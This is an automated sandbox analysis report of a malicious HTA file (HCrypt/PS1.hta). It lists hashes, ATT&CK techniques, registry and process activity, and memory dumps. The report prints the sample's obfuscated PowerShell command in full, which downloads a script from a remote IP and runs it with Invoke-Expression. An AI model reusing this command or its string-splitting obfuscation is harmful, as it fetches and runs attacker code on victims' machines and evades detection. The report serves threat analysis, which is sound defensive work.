d9b46632629c4859fc820c553f63130901419a511003584fd2c0ab468db5e5cc

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-en-20211208
submitted
20-01-2022 14:32

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General

Target

135.148.74.241_HCrypt/PS1.hta
Size

3KB
MD5

37f9dc388fedc16b308acaadc34c2054
SHA1

25c936c0b399b82ad39363f6237fd5db13369bda
SHA256

f30cba9be2a7cf581939e7e7b958d5e0554265a685b3473947bf2c26679995d3
SHA512

f7a335e8b559079ea7b8d8d9341f0d13e3b7c23af4858d87f350df698f2580e83a7c3e84a69cdb003f83b68127a45943cfbb5cd11c44cc3a8446fb30ace85fc4

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://135.148.74.241/PS1_B.txt

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1468 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1468 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
1468	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1468	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

mshta.exe

description	pid	process	target process
PID 760 wrote to memory of 1468	760	mshta.exe	powershell.exe
PID 760 wrote to memory of 1468	760	mshta.exe	powershell.exe
PID 760 wrote to memory of 1468	760	mshta.exe	powershell.exe
PID 760 wrote to memory of 1468	760	mshta.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\135.148.74.241_HCrypt\PS1.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:760

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Hx = 'http://135.148.74.241/PS1_B.txt';$HB=('{2}{0}{1}' -f'---------l---------o---------a---------d---------'.RePlace('---------',''),'**********s**********t**********r**********i**********n**********g**********'.RePlace('**********',''),'sss+Dsss+osss+wsss+nsss+'.RePlace('sss+',''));$HBB=('{2}{0}{1}' -f'---------e---------B---------c---------l---------'.RePlace('---------',''),'---------i---------e---------n---------t---------'.RePlace('---------',''),'---------Ne---------t---------.W---------'.RePlace('---------',''));$HBBB=('{2}{0}{1}' -f'------w-o------B------j------e------c------t $------H------'.RePlace('------',''),'------BB------).$H------B(------$H------x)------'.RePlace('------',''),'------I------`e------`X(------Ne------'.RePlace('------',''));$HBBBBB = ($HBBB -Join '')|InVoke-exPressioN
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1468

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1468-53-0x0000000075D61000-0x0000000075D63000-memory.dmp

Filesize
8KB

Download
memory/1468-56-0x0000000002560000-0x00000000031AA000-memory.dmp

Filesize
12.3MB

Download
memory/1468-57-0x0000000002560000-0x00000000031AA000-memory.dmp

Filesize
12.3MB

Download
memory/1468-58-0x0000000002560000-0x00000000031AA000-memory.dmp

Filesize
12.3MB

Download